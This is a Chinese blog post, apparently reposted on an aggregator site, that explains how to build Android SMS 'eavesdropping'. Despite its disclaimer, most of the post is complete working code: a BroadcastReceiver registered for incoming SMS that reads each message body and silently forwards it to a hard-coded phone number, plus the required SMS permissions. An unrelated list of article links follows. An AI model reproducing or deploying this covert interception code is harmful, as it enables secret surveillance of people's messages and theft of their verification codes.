android实现短信监听
来源:互联网 发布:js判断安卓还是ios 编辑:程序博客网 时间:2024/05/20 00:36
很久前博客园的文章,搬家之后就搬过来了。
申明:本文纯粹是为了技术交流,非法使用相关技术后果自负。
刚开始学android的时候总觉得短信“窃听”之类的程序应该很高深的,其实这里实现的基本“监听”功能只有短短几行代码,方法如下:
1.新建工程,自动生成一个Activity,这个显示用的,里面什么都没有。
2.新建一个SmsReceiver继承BroadcastReceiver,并在AndroidManifest.xml文件里面注册,要加上接收短信过滤器,如下
<receiver
android:name="SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
</intent-filter>
</receiver>
3.现在只需完善SmsReceiver就可以了,看代码,尽量写了些注释public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();//获取intent中的内容
StringBuilder message = new StringBuilder();//message用于存放短信内容
SmsMessage sms = null;//短信服务类,MS现在已经被android.telephony.SmsMessage取代
SmsManager manager = null;//短信管理类
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");//获取bundle里面的内容
for (Object obj : pdus) {
//下面两行将短信内容取出加入到message中
sms = SmsMessage.createFromPdu((byte[]) obj);
message.append(sms.getDisplayMessageBody());
}
}
if (message.toString() != "") {//if里面将短信转发到指定的号码
System.out.println(message);
manager = SmsManager.getDefault();
manager.sendTextMessage("此处为要转发的电话号码", null, message.toString(),
null, null);
}
}
}
4.最后别忘了加入相关权限
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
<uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
- android实现短信监听
- android实现短信监听
- Android开发之短信监听实现
- Android利用BroadcastReceiver实现短信监听
- Android利用BroadcastReceiver实现短信监听
- 【娱乐】Android实现监听通话、发送短信
- Android系统广播实现短信监听
- Android系统广播实现短信监听
- android--监听短信实现短信验证码自动填充
- Android中读取短信信息,短信监听的各种问题,实现监听短信的功能
- 《Online学习》Android实现短信监听,监听某个手机。
- BroadcastReceiver实现短信监听
- Android中短信监听的各种问题,实现监听短信的功能
- Android短信监听(三)——利用Loader实现短信监听
- Android短信监听(二)——利用ContentObserver实现短信监听
- Android短信监听(一)——利用BroadcastReceiver实现短信监听
- android短信监听
- android短信监听工具
- 关于Android短信拦截
- Nutch中MapReduce的分析
- PE文件和COFF文件格式分析——签名、COFF文件头和可选文件头2
- java 实现汉字转拼音
- 点滴记录之-android默认时区设置
- android实现短信监听
- AS3.0声音处理
- 构建网站从0开始 -1 dedecms(织梦cms)配置 win7 -1
- linux下ps命令使用详解
- POJ3592-图论综合题tarjan+spfa
- android 自定义RatingBar图案
- android ImageButton响应不规则图片
- java 实现文件下载
- z1